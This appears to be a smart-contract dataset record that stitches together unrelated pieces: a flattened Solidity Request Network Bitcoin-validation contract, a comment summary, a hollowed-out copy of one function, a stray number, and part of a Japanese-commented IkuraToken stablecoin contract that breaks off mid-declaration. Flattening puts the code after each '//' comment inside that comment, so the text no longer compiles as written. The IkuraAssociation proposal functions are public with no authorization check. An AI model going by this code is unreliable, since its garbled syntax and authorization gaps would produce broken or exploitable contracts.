broadcastSignedRequestAsPayer */ contract RequestBitcoinNodesValidation is RequestCurrencyContractInterface { using SafeMath for uint256; using SafeMathInt for int256; using SafeMathUint8 for uint8; // bitcoin addresses for payment and refund by requestid // every time a transaction is sent to one of these addresses, it will be interpreted offchain as a payment (index 0 is the main payee, next indexes are for sub-payee) mapping(bytes32 => string[256]) public payeesPaymentAddress; // every time a transaction is sent to one of these addresses, it will be interpreted offchain as a refund (index 0 is the main payee, next indexes are for sub-payee) mapping(bytes32 => string[256]) public payerRefundAddress; /* * @dev Constructor * @param _requestCoreAddress Request Core address * @param _requestBurnerAddress Request Burner contract address */ function RequestBitcoinNodesValidation(address _requestCoreAddress, address _requestBurnerAddress) RequestCurrencyContractInterface(_requestCoreAddress, _requestBurnerAddress) public { // nothing to do here } /* * @dev Function to create a request as payee * * @dev msg.sender must be the main payee * * @param _payeesIdAddress array of payees address (the index 0 will be the payee - must be msg.sender - the others are subPayees) * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes (bitcoin address don&#39;t have a fixed size) * [ * uint8(payee1_bitcoin_address_size) * string(payee1_bitcoin_address) * uint8(payee2_bitcoin_address_size) * string(payee2_bitcoin_address) * ... * ] * @param _expectedAmounts array of Expected amount to be received by each payees * @param _payer Entity expected to pay * @param _payerRefundAddress payer bitcoin addresses for refund as bytes (bitcoin address don&#39;t have a fixed size) * [ * uint8(payee1_refund_bitcoin_address_size) * string(payee1_refund_bitcoin_address) * uint8(payee2_refund_bitcoin_address_size) * string(payee2_refund_bitcoin_address) * ... * ] * @param _data Hash linking to additional data on the Request stored on IPFS * * @return Returns the id of the request */ function createRequestAsPayeeAction( address[] _payeesIdAddress, bytes _payeesPaymentAddress, int256[] _expectedAmounts, address _payer, bytes _payerRefundAddress, string _data) external payable whenNotPaused returns(bytes32 requestId) { require(msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0); int256 totalExpectedAmounts; (requestId, totalExpectedAmounts) = createCoreRequestInternal(_payer, _payeesIdAddress, _expectedAmounts, _data); // compute and send fees uint256 fees = collectEstimation(totalExpectedAmounts); require(fees == msg.value && collectForREQBurning(fees)); extractAndStoreBitcoinAddresses(requestId, _payeesIdAddress.length, _payeesPaymentAddress, _payerRefundAddress); return requestId; } /* * @dev Internal function to extract and store bitcoin addresses from bytes * * @param _requestId id of the request * @param _payeesCount number of payees * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes * [ * uint8(payee1_bitcoin_address_size) * string(payee1_bitcoin_address) * uint8(payee2_bitcoin_address_size) * string(payee2_bitcoin_address) * ... * ] * @param _payerRefundAddress payer bitcoin addresses for refund as bytes * [ * uint8(payee1_refund_bitcoin_address_size) * string(payee1_refund_bitcoin_address) * uint8(payee2_refund_bitcoin_address_size) * string(payee2_refund_bitcoin_address) * ... * ] */ function extractAndStoreBitcoinAddresses( bytes32 _requestId, uint256 _payeesCount, bytes _payeesPaymentAddress, bytes _payerRefundAddress) internal { // set payment addresses for payees uint256 cursor = 0; uint8 sizeCurrentBitcoinAddress; uint8 j; for (j = 0; j < _payeesCount; j = j.add(1)) { // get the size of the current bitcoin address sizeCurrentBitcoinAddress = uint8(_payeesPaymentAddress[cursor]); // extract and store the current bitcoin address payeesPaymentAddress[_requestId][j] = extractString(_payeesPaymentAddress, sizeCurrentBitcoinAddress, ++cursor); // move the cursor to the next bicoin address cursor += sizeCurrentBitcoinAddress; } // set payment address for payer cursor = 0; for (j = 0; j < _payeesCount; j = j.add(1)) { // get the size of the current bitcoin address sizeCurrentBitcoinAddress = uint8(_payerRefundAddress[cursor]); // extract and store the current bitcoin address payerRefundAddress[_requestId][j] = extractString(_payerRefundAddress, sizeCurrentBitcoinAddress, ++cursor); // move the cursor to the next bicoin address cursor += sizeCurrentBitcoinAddress; } } /* * @dev Function to broadcast and accept an offchain signed request (the broadcaster can also pays and makes additionals ) * * @dev msg.sender will be the _payer * @dev only the _payer can additionals * * @param _requestData nested bytes containing : creator, payer, payees|expectedAmounts, data * @param _payeesPaymentAddress array of payees bitcoin address for payment as bytes * [ * uint8(payee1_bitcoin_address_size) * string(payee1_bitcoin_address) * uint8(payee2_bitcoin_address_size) * string(payee2_bitcoin_address) * ... * ] * @param _payerRefundAddress payer bitcoin addresses for refund as bytes * [ * uint8(payee1_refund_bitcoin_address_size) * string(payee1_refund_bitcoin_address) * uint8(payee2_refund_bitcoin_address_size) * string(payee2_refund_bitcoin_address) * ... * ] * @param _additionals array to increase the ExpectedAmount for payees * @param _expirationDate timestamp after that the signed request cannot be broadcasted * @param _signature ECDSA signature in bytes * * @return Returns the id of the request */ function broadcastSignedRequestAsPayerAction( bytes _requestData, // gather data to avoid "stack too deep" bytes _payeesPaymentAddress, bytes _payerRefundAddress, uint256[] _additionals, uint256 _expirationDate, bytes _signature) external payable whenNotPaused returns(bytes32 requestId) { // check expiration date require(_expirationDate >= block.timestamp); // check the signature require(checkRequestSignature(_requestData, _payeesPaymentAddress, _expirationDate, _signature)); return createAcceptAndAdditionalsFromBytes(_requestData, _payeesPaymentAddress, _payerRefundAddress, _additionals); } /* * @dev Internal function to create, accept and add additionals to a request as Payer * * @dev msg.sender must be _payer * * @param _requestData nasty bytes containing : creator, payer, payees|expectedAmounts, data * @param _payeesPaymentAddress array of payees bitcoin address for payment * @param _payerRefundAddress payer bitcoin address for refund * @param _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals * * @return Returns the id of the request */ function createAcceptAndAdditionalsFromBytes( bytes _requestData, bytes _payeesPaymentAddress, bytes _payerRefundAddress, uint256[] _additionals) internal returns(bytes32 requestId) { // extract main payee address mainPayee = extractAddress(_requestData, 41); require(msg.sender != mainPayee && mainPayee != 0); // creator must be the main payee require(extractAddress(_requestData, 0) == mainPayee); // extract the number of payees uint8 payeesCount = uint8(_requestData[40]); int256 totalExpectedAmounts = 0; for(uint8 i = 0; i < payeesCount; i++) { // extract the expectedAmount for the payee[i] int256 expectedAmountTemp = int256(extractBytes32(_requestData, uint256(i).mul(52).add(61))); // compute the total expected amount of the request totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp); // all expected amount must be positive require(expectedAmountTemp>0); } // compute and send fees uint256 fees = collectEstimation(totalExpectedAmounts); // check fees has been well received require(fees == msg.value && collectForREQBurning(fees)); // insert the msg.sender as the payer in the bytes updateBytes20inBytes(_requestData, 20, bytes20(msg.sender)); // store request in the core requestId = requestCore.createRequestFromBytes(_requestData); // set bitcoin addresses extractAndStoreBitcoinAddresses(requestId, payeesCount, _payeesPaymentAddress, _payerRefundAddress); // accept and pay the request with the value remaining after the fee collect acceptAndAdditionals(requestId, _additionals); return requestId; } /* * @dev Internal function to accept and add additionals to a request as Payer * * @param _requestId id of the request * @param _additionals Will increase the ExpectedAmounts of payees * */ function acceptAndAdditionals( bytes32 _requestId, uint256[] _additionals) internal { acceptAction(_requestId); additionalAction(_requestId, _additionals); } // ----------------------------------------------------------------------------- /* * @dev Check the validity of a signed request & the expiration date * @param _data bytes containing all the data packed : address(creator) address(payer) uint8(number_of_payees) [ address(main_payee_address) int256(main_payee_expected_amount) address(second_payee_address) int256(second_payee_expected_amount) ... ] uint8(data_string_size) size(data) * @param _payeesPaymentAddress array of payees payment addresses (the index 0 will be the payee the others are subPayees) * @param _expirationDate timestamp after that the signed request cannot be broadcasted * @param _signature ECDSA signature containing v, r and s as bytes * * @return Validity of order signature. */ function checkRequestSignature( bytes _requestData, bytes _payeesPaymentAddress, uint256 _expirationDate, bytes _signature) public view returns (bool) { bytes32 hash = getRequestHash(_requestData, _payeesPaymentAddress, _expirationDate); // extract "v, r, s" from the signature uint8 v = uint8(_signature[64]); v = v < 27 ? v.add(27) : v; bytes32 r = extractBytes32(_signature, 0); bytes32 s = extractBytes32(_signature, 32); // check signature of the hash with the creator address return isValidSignature(extractAddress(_requestData, 0), hash, v, r, s); } /* * @dev Function internal to calculate Keccak-256 hash of a request with specified parameters * * @param _data bytes containing all the data packed * @param _payeesPaymentAddress array of payees payment addresses * @param _expirationDate timestamp after what the signed request cannot be broadcasted * * @return Keccak-256 hash of (this,_requestData, _payeesPaymentAddress, _expirationDate) */ function getRequestHash( bytes _requestData, bytes _payeesPaymentAddress, uint256 _expirationDate) internal view returns(bytes32) { return keccak256(this,_requestData, _payeesPaymentAddress, _expirationDate); } /* * @dev Verifies that a hash signature is valid. 0x style * @param signer address of signer. * @param hash Signed Keccak-256 hash. * @param v ECDSA signature parameter v. * @param r ECDSA signature parameters r. * @param s ECDSA signature parameters s. * @return Validity of order signature. */ function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } /* * @dev extract an address in a bytes * @param data bytes from where the address will be extract * @param offset position of the first byte of the address * @return address */ function extractAddress(bytes _data, uint offset) internal pure returns (address m) { require(offset >=0 && offset + 20 <= _data.length); assembly { m := and( mload(add(_data, add(20, offset))), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } } /* * @dev extract a bytes32 from a bytes * @param data bytes from where the bytes32 will be extract * @param offset position of the first byte of the bytes32 * @return address */ function extractBytes32(bytes _data, uint offset) public pure returns (bytes32 bs) { require(offset >=0 && offset + 32 <= _data.length); assembly { bs := mload(add(_data, add(32, offset))) } } /* * @dev modify 20 bytes in a bytes * @param data bytes to modify * @param offset position of the first byte to modify * @param b bytes20 to insert * @return address */ function updateBytes20inBytes(bytes data, uint offset, bytes20 b) internal pure { require(offset >=0 && offset + 20 <= data.length); assembly { let m := mload(add(data, add(20, offset))) m := and(m, 0xFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000) m := or(m, div(b, 0x1000000000000000000000000)) mstore(add(data, add(20, offset)), m) } } /* * @dev extract a string from a bytes. Extracts a sub-part from tha bytes and convert it to string * @param data bytes from where the string will be extracted * @param size string size to extract * @param _offset position of the first byte of the string in bytes * @return string */ function extractString(bytes data, uint8 size, uint _offset) internal pure returns (string) { bytes memory bytesString = new bytes(size); for (uint j = 0; j < size; j++) { bytesString[j] = data[_offset+j]; } return string(bytesString); } }
Internal function to create, accept and add additionals to a request as Payer msg.sender must be _payer _requestData nasty bytes containing : creator, payer, payees|expectedAmounts, data _payeesPaymentAddress array of payees bitcoin address for payment _payerRefundAddress payer bitcoin address for refund _additionals Will increase the ExpectedAmount of the request right after its creation by adding additionals return Returns the id of the request/ extract main payee creator must be the main payee extract the number of payees extract the expectedAmount for the payee[i] compute the total expected amount of the request all expected amount must be positive
function createAcceptAndAdditionalsFromBytes( bytes _requestData, bytes _payeesPaymentAddress, bytes _payerRefundAddress, uint256[] _additionals) internal returns(bytes32 requestId) { address mainPayee = extractAddress(_requestData, 41); require(msg.sender != mainPayee && mainPayee != 0); require(extractAddress(_requestData, 0) == mainPayee); uint8 payeesCount = uint8(_requestData[40]); int256 totalExpectedAmounts = 0; for(uint8 i = 0; i < payeesCount; i++) { int256 expectedAmountTemp = int256(extractBytes32(_requestData, uint256(i).mul(52).add(61))); totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp); require(expectedAmountTemp>0); } return requestId; }
2,225,389
//Address: 0x95709a816a56195062e0a37d1e96a3370613a444 //Contract name: IkuraToken //Balance: 0 Ether //Verification Date: 6/13/2018 //Transacion Count: 2 // CODE STARTS HERE // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.4.23; // import 'ds-auth/auth.sol'; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // import 'ds-math/math.sol'; contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // import './IkuraStorage.sol'; /** * * ロジックの更新に影響されない永続化データを保持するクラス * */ contract IkuraStorage is DSMath, DSAuth { // オーナー(中央銀行)のアドレス address[] ownerAddresses; // 各アドレスのdJPYの口座残高 mapping(address => uint) coinBalances; // 各アドレスのSHINJI tokenの口座残高 mapping(address => uint) tokenBalances; // 各アドレスが指定したアドレスに対して許可する最大送金額 mapping(address => mapping (address => uint)) coinAllowances; // dJPYの発行高 uint _totalSupply = 0; // 手数料率 // 0.01pips = 1 // 例). 手数料を 0.05% とする場合は 500 uint _transferFeeRate = 500; // 最低手数料額 // 1 = 1dJPY // amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする uint8 _transferMinimumFee = 5; address tokenAddress; address multiSigAddress; address authorityAddress; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね constructor() public DSAuth() { /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } function changeToken(address tokenAddress_) public auth { tokenAddress = tokenAddress_; } function changeAssociation(address multiSigAddress_) public auth { multiSigAddress = multiSigAddress_; } function changeAuthority(address authorityAddress_) public auth { authorityAddress = authorityAddress_; } // -------------------------------------------------- // functions for _totalSupply // -------------------------------------------------- /** * 総発行額を返す * * @return 総発行額 */ function totalSupply() public view auth returns (uint) { return _totalSupply; } /** * 総発行数を増やす(mintと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function addTotalSupply(uint amount) public auth { _totalSupply = add(_totalSupply, amount); } /** * 総発行数を減らす(burnと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function subTotalSupply(uint amount) public auth { _totalSupply = sub(_totalSupply, amount); } // -------------------------------------------------- // functions for _transferFeeRate // -------------------------------------------------- /** * 手数料率を返す * * @return 現在の手数料率 */ function transferFeeRate() public view auth returns (uint) { return _transferFeeRate; } /** * 手数料率を変更する * * @param newTransferFeeRate 新しい手数料率 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferFeeRate(uint newTransferFeeRate) public auth returns (bool) { _transferFeeRate = newTransferFeeRate; return true; } // -------------------------------------------------- // functions for _transferMinimumFee // -------------------------------------------------- /** * 最低手数料返す * * @return 現在の最低手数料 */ function transferMinimumFee() public view auth returns (uint8) { return _transferMinimumFee; } /** * 最低手数料を変更する * * @param newTransferMinimumFee 新しい最低手数料 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferMinimumFee(uint8 newTransferMinimumFee) public auth { _transferMinimumFee = newTransferMinimumFee; } // -------------------------------------------------- // functions for ownerAddresses // -------------------------------------------------- /** * 指定したユーザーアドレスをオーナーの一覧に追加する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * トークンの所有者 = オーナーという扱いになったので、この配列に含まれるアドレスの一覧は * 手数料からの収益の分配をする時に利用するだけで、オーナーかどうかの判定には利用しない * * @param addr ユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function addOwnerAddress(address addr) internal returns (bool) { ownerAddresses.push(addr); return true; } /** * 指定したユーザーアドレスをオーナーの一覧から削除する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * * @param addr オーナーに属するユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function removeOwnerAddress(address addr) internal returns (bool) { uint i = 0; while (ownerAddresses[i] != addr) { i++; } while (i < ownerAddresses.length - 1) { ownerAddresses[i] = ownerAddresses[i + 1]; i++; } ownerAddresses.length--; return true; } /** * 最初のオーナー(contractをdeployしたユーザー)のアドレスを返す * * @return 最初のオーナーのアドレス */ function primaryOwner() public view auth returns (address) { return ownerAddresses[0]; } /** * 指定したアドレスがオーナーアドレスに登録されているか返す * * @param addr ユーザーのアドレス * * @return オーナーに含まれている場合はtrue、含まれていない場合はfalse */ function isOwnerAddress(address addr) public view auth returns (bool) { for (uint i = 0; i < ownerAddresses.length; i++) { if (ownerAddresses[i] == addr) return true; } return false; } /** * オーナー数を返す * * @return オーナー数 */ function numOwnerAddress() public view auth returns (uint) { return ownerAddresses.length; } // -------------------------------------------------- // functions for coinBalances // -------------------------------------------------- /** * 指定したユーザーのdJPY残高を返す * * @param addr ユーザーのアドレス * * @return dJPY残高 */ function coinBalance(address addr) public view auth returns (uint) { return coinBalances[addr]; } /** * 指定したユーザーのdJPYの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = add(coinBalances[addr], amount); return true; } /** * 指定したユーザーのdJPYの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = sub(coinBalances[addr], amount); return true; } // -------------------------------------------------- // functions for tokenBalances // -------------------------------------------------- /** * 指定したユーザーのSHINJIトークンの残高を返す * * @param addr ユーザーのアドレス * * @return SHINJIトークン残高 */ function tokenBalance(address addr) public view auth returns (uint) { return tokenBalances[addr]; } /** * 指定したユーザーのSHINJIトークンの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = add(tokenBalances[addr], amount); if (tokenBalances[addr] > 0 && !isOwnerAddress(addr)) { addOwnerAddress(addr); } return true; } /** * 指定したユーザーのSHINJIトークンの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = sub(tokenBalances[addr], amount); if (tokenBalances[addr] <= 0) { removeOwnerAddress(addr); } return true; } // -------------------------------------------------- // functions for coinAllowances // -------------------------------------------------- /** * 送金許可金額を返す * * @param owner_ 送金者 * @param spender 送金代行者 * * @return 送金許可金額 */ function coinAllowance(address owner_, address spender) public view auth returns (uint) { return coinAllowances[owner_][spender]; } /** * 送金許可金額を指定した金額だけ増やす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function addCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = add(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した金額だけ減らす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function subCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = sub(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した値に更新する * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 送金許可金額 * * @return 指定に成功したらtrue、失敗したらfalse */ function setCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = amount; return true; } /** * 権限チェック用関数のoverride * * @param src 実行者アドレス * @param sig 実行関数の識別子 * * @return 実行が許可されていればtrue、そうでなければfalse */ function isAuthorized(address src, bytes4 sig) internal view returns (bool) { sig; // #HACK return src == address(this) || src == owner || src == tokenAddress || src == authorityAddress || src == multiSigAddress; } } // import './IkuraTokenEvent.sol'; /** * Tokenでの処理に関するイベント定義 * * - ERC20に準拠したイベント(Transfer / Approval) * - IkuraTokenの独自イベント(TransferToken / TransferFee) */ contract IkuraTokenEvent { /** オーナーがdJPYを鋳造した際に発火するイベント */ event IkuraMint(address indexed owner, uint); /** オーナーがdJPYを消却した際に発火するイベント */ event IkuraBurn(address indexed owner, uint); /** トークンの移動時に発火するイベント */ event IkuraTransferToken(address indexed from, address indexed to, uint value); /** 手数料が発生したときに発火するイベント */ event IkuraTransferFee(address indexed from, address indexed to, address indexed owner, uint value); /** * テスト時にこのイベントも流れてくるはずなので追加で定義 * controllerでもイベントを発火させているが、ゆくゆくはここでIkuraTokenのバージョンとか追加の情報を投げる可能性もあるので残留。 */ event IkuraTransfer(address indexed from, address indexed to, uint value); /** 送金許可イベント */ event IkuraApproval(address indexed owner, address indexed spender, uint value); } // import './IkuraAssociation.sol'; /** * 経過時間とSHINJI Tokenの所有比率によって特定のアクションの承認を行うクラス */ contract IkuraAssociation is DSMath, DSAuth { // // public // // 提案が承認されるために必要な賛成票の割合 uint public confirmTotalTokenThreshold = 50; // // private // // データの永続化ストレージ IkuraStorage _storage; IkuraToken _token; // 提案一覧 Proposal[] mintProposals; Proposal[] burnProposals; mapping (bytes32 => Proposal[]) proposals; struct Proposal { address proposer; // 提案者 bytes32 digest; // チェックサム bool executed; // 実行の有無 uint createdAt; // 提案作成日時 uint expireAt; // 提案の締め切り address[] confirmers; // 承認者 uint amount; // 鋳造量 } // // Events // event MintProposalAdded(uint proposalId, address proposer, uint amount); event MintConfirmed(uint proposalId, address confirmer, uint amount); event MintExecuted(uint proposalId, address proposer, uint amount); event BurnProposalAdded(uint proposalId, address proposer, uint amount); event BurnConfirmed(uint proposalId, address confirmer, uint amount); event BurnExecuted(uint proposalId, address proposer, uint amount); constructor() public { proposals[keccak256('mint')] = mintProposals; proposals[keccak256('burn')] = burnProposals; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } /** * 永続化ストレージを設定する * * @param newStorage 永続化ストレージのインスタンス(アドレス) */ function changeStorage(IkuraStorage newStorage) public auth returns (bool) { _storage = newStorage; return true; } function changeToken(IkuraToken token_) public auth returns (bool) { _token = token_; return true; } /** * 提案を作成する * * @param proposer 提案者のアドレス * @param amount 鋳造量 */ function newProposal(bytes32 type_, address proposer, uint amount, bytes transationBytecode) public returns (uint) { uint proposalId = proposals[type_].length++; Proposal storage proposal = proposals[type_][proposalId]; proposal.proposer = proposer; proposal.amount = amount; proposal.digest = keccak256(proposer, amount, transationBytecode); proposal.executed = false; proposal.createdAt = now; proposal.expireAt = proposal.createdAt + 86400; // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) emit MintProposalAdded(proposalId, proposer, amount); if (type_ == keccak256('burn')) emit BurnProposalAdded(proposalId, proposer, amount); // 本人は当然承認 confirmProposal(type_, proposer, proposalId); return proposalId; } /** * トークン所有者が提案に対して賛成する * * @param type_ 提案の種類 * @param confirmer 承認者のアドレス * @param proposalId 提案ID */ function confirmProposal(bytes32 type_, address confirmer, uint proposalId) public { Proposal storage proposal = proposals[type_][proposalId]; // 既に承認済みの場合はエラーを返す require(!hasConfirmed(type_, confirmer, proposalId)); // 承認行為を行ったフラグを立てる proposal.confirmers.push(confirmer); // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) emit MintConfirmed(proposalId, confirmer, proposal.amount); if (type_ == keccak256('burn')) emit BurnConfirmed(proposalId, confirmer, proposal.amount); if (isProposalExecutable(type_, proposalId, proposal.proposer, '')) { proposal.executed = true; // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) executeMintProposal(proposalId); if (type_ == keccak256('burn')) executeBurnProposal(proposalId); } } /** * 既に承認済みの提案かどうかを返す * * @param type_ 提案の種類 * @param addr 承認者のアドレス * @param proposalId 提案ID * * @return 承認済みであればtrue、そうでなければfalse */ function hasConfirmed(bytes32 type_, address addr, uint proposalId) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; uint length = proposal.confirmers.length; for (uint i = 0; i < length; i++) { if (proposal.confirmers[i] == addr) return true; } return false; } /** * 指定した提案を承認したトークンの総量を返す * * @param type_ 提案の種類 * @param proposalId 提案ID * * @return 承認に投票されたトークン数 */ function confirmedTotalToken(bytes32 type_, uint proposalId) internal view returns (uint) { Proposal storage proposal = proposals[type_][proposalId]; uint length = proposal.confirmers.length; uint total = 0; for (uint i = 0; i < length; i++) { total = add(total, _storage.tokenBalance(proposal.confirmers[i])); } return total; } /** * 指定した提案の締め切りを返す * * @param type_ 提案の種類 * @param proposalId 提案ID * * @return 提案の締め切り */ function proposalExpireAt(bytes32 type_, uint proposalId) public view returns (uint) { Proposal storage proposal = proposals[type_][proposalId]; return proposal.expireAt; } /** * 提案が実行条件を満たしているかを返す * * 【承認条件】 * - まだ実行していない * - 提案の有効期限内である * - 指定した割合以上の賛成トークンを得ている * * @param proposalId 提案ID * * @return 実行条件を満たしている場合はtrue、そうでない場合はfalse */ function isProposalExecutable(bytes32 type_, uint proposalId, address proposer, bytes transactionBytecode) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; // オーナーがcontrollerを登録したユーザーしか存在しない場合は if (_storage.numOwnerAddress() < 2) { return true; } return proposal.digest == keccak256(proposer, proposal.amount, transactionBytecode) && isProposalNotExpired(type_, proposalId) && mul(100, confirmedTotalToken(type_, proposalId)) / _storage.totalSupply() > confirmTotalTokenThreshold; } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(bytes32 type_) public constant returns (uint) { return proposals[type_].length; } /** * 未承認で有効期限の切れていない提案の数を返す * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数 */ function numberOfActiveProposals(bytes32 type_) public view returns (uint) { uint numActiveProposal = 0; for(uint i = 0; i < proposals[type_].length; i++) { if (isProposalNotExpired(type_, i)) { numActiveProposal++; } } return numActiveProposal; } /** * 提案の有効期限が切れていないかチェックする * * - 実行されていない * - 有効期限が切れていない * * 場合のみtrueを返す */ function isProposalNotExpired(bytes32 type_, uint proposalId) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; return !proposal.executed && now < proposal.expireAt; } /** * dJPYを鋳造する * * - 鋳造する量が0より大きい * * 場合は成功する * * @param proposalId 提案ID */ function executeMintProposal(uint proposalId) internal returns (bool) { Proposal storage proposal = proposals[keccak256('mint')][proposalId]; // ここでも念のためチェックを入れる require(proposal.amount > 0); emit MintExecuted(proposalId, proposal.proposer, proposal.amount); // 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを増やす _storage.addTotalSupply(proposal.amount); _storage.addCoinBalance(proposal.proposer, proposal.amount); _storage.addTokenBalance(proposal.proposer, proposal.amount); return true; } /** * dJPYを消却する * * - 消却する量が0より大きい * - 提案者の所有するdJPYの残高がamount以上 * - 提案者の所有するSHINJIがamountよりも大きい * * 場合は成功する * * @param proposalId 提案ID */ function executeBurnProposal(uint proposalId) internal returns (bool) { Proposal storage proposal = proposals[keccak256('burn')][proposalId]; // ここでも念のためチェックを入れる require(proposal.amount > 0); require(_storage.coinBalance(proposal.proposer) >= proposal.amount); require(_storage.tokenBalance(proposal.proposer) >= proposal.amount); emit BurnExecuted(proposalId, proposal.proposer, proposal.amount); // 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを減らす _storage.subTotalSupply(proposal.amount); _storage.subCoinBalance(proposal.proposer, proposal.amount); _storage.subTokenBalance(proposal.proposer, proposal.amount); return true; } function 